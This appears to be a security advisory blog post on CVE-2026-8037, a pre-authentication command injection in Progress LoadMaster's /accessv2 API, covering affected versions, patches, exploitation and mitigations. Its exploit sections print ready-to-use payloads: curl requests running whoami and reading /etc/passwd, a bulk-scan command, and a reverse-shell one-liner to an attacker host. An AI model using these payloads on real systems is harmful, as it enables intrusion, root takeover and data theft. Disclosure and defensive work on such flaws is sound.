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How CVE-2026-8037 Works
CVE-2026-8037 is a pre‑authentication OS command injection vulnerability in the API of Progress Kemp LoadMaster (and related ADC products). The flaw resides in the `escape_quotes()` function, which is responsible for sanitizing user‑supplied input before passing it to a system shell. In vulnerable versions (GA ≤ 7.2.63.1 and LTSF ≤ 7.2.54.17), this function fails to properly terminate the escaped string when a single quote is present. An attacker can send a crafted request containing malicious shell metacharacters to the `/accessv2` endpoint – no credentials are required. Because the sanitization logic mishandles memory boundaries, the unsanitized payload is concatenated into a command that is executed with root privileges. The vulnerability is reachable over the network if the API is enabled (the default in many deployments). Public proof‑of‑concept code was released on June 29, 2026, and active exploitation attempts were observed the same day. The CVSS v3.1 base score is 9.6 (Critical) with vector AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, indicating high impact on confidentiality, integrity, and availability. The issue affects multiple Progress ADC products including LoadMaster, ECS Connection Manager, Object Scale Connection Manager, and MOVEit WAF. Progress released fixed versions (GA 7.2.63.2 and LTSF 7.2.54.18) on June 8, 2026. However, many appliances remain unpatched, and the availability of a working exploit significantly increases the risk of compromise. Organizations with internet‑facing or internally exposed LoadMaster instances should treat this as an emergency patching priority.
DailyCVE Form:
Platform: Progress LoadMaster
Version: GA ≤7.2.63.1/LTSF≤7.2.54.17
Vulnerability: OS Command Injection
Severity: Critical (CVSS 9.6)
Date: 2026-06-04
Prediction: Patch released 2026-06-08
Analytics (What Undercode Say)
- Active exploitation began on June 29, 2026, hours after PoC publication.
- Observed attack patterns target the `/accessv2` endpoint with command injection payloads.
- Affected versions are widely deployed in enterprise edge networks; unpatched instances are at high risk.
- Patch adoption remains low; scanning for vulnerable API endpoints is ongoing.
- Threat actors are using the flaw for initial access, followed by ransomware deployment and lateral movement.
Bash Commands & Codes (Exploit Verification)
Nuclei Template (CVE-2026-8037.yaml) – detection:
id: CVE-2026-8037
info:
name: Progress LoadMaster OS Command Injection
severity: critical
tags: cve,cve2026,progress,loadmaster,rce
requests:
- raw:
- |
GET /accessv2?param=test%27%3Bid%3B%27 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: regex
regex:
- "uid=0\(root\)"
Manual cURL PoC (command injection via `/accessv2`):
curl -k "https://<target-ip>/accessv2?param=test%27%3Bwhoami%3B%27"
Expected output: `root` (if vulnerable).
Bulk scan for vulnerable endpoints:
nmap -p 443 --script http-vuln-cve2026-8037 <target-subnet>
Reverse shell one‑liner (example):
curl -k "https://<target>/accessv2?param=test%27%3Bbash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/<attacker-ip>/4444%200%3E%261%27%3B%27"
Exploit
The vulnerability is exploited by sending an HTTP GET request to the `/accessv2` API endpoint with a maliciously crafted `param` value. The payload includes a single quote (') to break out of the escaped context, followed by arbitrary system commands separated by semicolons (;). Because the API executes the unsanitized string with root privileges, the attacker can run any OS command – from reading sensitive files (/etc/shadow) to installing backdoors or launching reverse shells. The attack requires no authentication and works over adjacent networks (AV:A) but is often exploitable from the internet if the management interface is exposed.
Example exploit request:
GET /accessv2?param=test%27%3Bcat%20/etc/passwd%3B%27 HTTP/1.1 Host: 192.168.1.100
The server responds with the contents of `/etc/passwd` embedded in the API output.
Protection
- Patch immediately – Upgrade to LoadMaster GA v7.2.63.2 or LTSF v7.2.54.18 (or later).
- Disable API access if not required – restrict the API to trusted management networks using firewall rules.
- Monitor logs for unexpected `/accessv2` requests or command execution patterns (e.g.,
whoami,id,curl,wget). - Use WAF/IDS rules to block requests containing shell metacharacters (
;,|,`,$()) in the `param` parameter. - Implement network segmentation – isolate LoadMaster appliances from untrusted zones.
Impact
- Full system compromise – attacker gains root-level shell access.
- Data breach – exfiltration of sensitive configuration, credentials, and application data.
- Ransomware deployment – unauthenticated RCE enables encryption of critical files.
- Lateral movement – the compromised ADC can be used to pivot into internal networks, manipulate traffic, and hijack sessions.
- Service disruption – ability to terminate or redirect application traffic, causing widespread outage.
- Reputational and financial damage – regulatory fines, incident response costs, and loss of customer trust.
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Sources:
Reported By: nvd.nist.gov
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